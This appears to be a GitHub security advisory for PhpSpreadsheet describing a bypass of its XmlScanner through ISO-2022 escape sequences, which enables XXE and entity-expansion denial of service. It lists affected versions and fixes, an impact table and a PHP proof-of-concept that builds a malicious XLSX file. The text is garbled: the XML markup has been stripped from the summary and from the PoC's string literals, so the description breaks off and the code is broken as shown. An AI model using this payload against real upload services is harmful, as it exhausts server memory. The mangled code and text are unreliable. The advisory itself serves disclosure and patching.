GitHub Advisoryadvisory · Packagist

GHSA-3x94-m842-937c PhpSpreadsheet: XmlScanner Bypass via ISO-2022 Escape Sequences Allows XXE and Denial of Service

HIGH Published 2026-10-27 Modified 2026-10-27 Official page ↗
Aliases
CVE-2026-108358
Ecosystem
Packagist
Packages
phpoffice/phpspreadsheet
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N
Weaknesses
CWE-611, CWE-776
Reviewed
2026-10-27

Affected packages

• Packagist phpoffice/phpspreadsheet: >= 4.0.0, < 5.10.0 → fixed in 5.10.0 • Packagist phpoffice/phpspreadsheet: >= 3.3.0, < 3.10.8 → fixed in 3.10.8 • Packagist phpoffice/phpspreadsheet: >= 2.2.0, < 2.4.8 → fixed in 2.4.8 • Packagist phpoffice/phpspreadsheet: >= 2.0.0, < 2.1.19 → fixed in 2.1.19 • Packagist phpoffice/phpspreadsheet: < 1.30.7 → fixed in 1.30.7

Description

Summary PhpSpreadsheet's `XmlScanner::scan()` uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting `' . "\n" . $doctype . ' sst [' . "\n" . ' ' . "\n" . ']>' . "\n" . '' . '' . $refs . ''; // Build minimal XLSX $xlsx = new ZipArchive(); $xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE); $xlsx->addFromString('[Content_Types].xml', '' .'' .'' .'' .'' .'' .''); $xlsx->addFromString('_rels/.rels', '' .'' .''); $xlsx->addFromString('xl/workbook.xml', '' .''); $xlsx->addFromString('xl/_rels/workbook.xml.rels', '' .'' .'' .''); $xlsx->addFromString('xl/worksheets/sheet1.xml', '' .'0'); $xlsx->addFromString('xl/sharedStrings.xml', $shared_strings); $xlsx->close(); echo "XLSX size: " . filesize('poc.xlsx') . " bytes\n"; // Load with PhpSpreadsheet $mem_before = memory_get_usage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx(); $reader->setReadDataOnly(true); $spreadsheet = $reader->load('poc.xlsx'); $peak = memory_get_peak_usage(true); echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n"; $val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n"; ``` Run: `php -d memory_limit=512M poc_iso2022.php` Expected result: The scanner does not detect the DOCTYPE. The XLSX loads successfully. Internal entities expand, consuming ~45 MB of memory from a ~2 KB file. Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13. Impact | Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | |--------|---------------------------|------------------------| | Denial of Service (quadratic blowup) | Exploitable | Exploitable | | Local file read via SYSTEM entity | Exploitable | Blocked by default | | SSRF via SYSTEM entity | Exploitable | Blocked by default | | File read when LIBXML_NOENT is used | Exploitable | Exploitable | Any application that accepts user-uploaded XLSX files and processes them with PhpSpreadsheet is vulnerable. The DoS impact is the most severe because it requires no special PHP configuration and works on all supported PHP versions. A 2 KB XLSX causes 45 MB peak memory usage (22,000:1 amplification ratio). Multiple concurrent uploads can exhaust server memory.

Related

Alias · CVE (1)

  • CVE-2026-108358 PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. vulnerability

Weakness · CWE (2)

  • CWE-611 Improper Restriction of XML External Entity Reference weakness
  • CWE-776 Improper Restriction of Recursive Entity References in DTDs weakness

References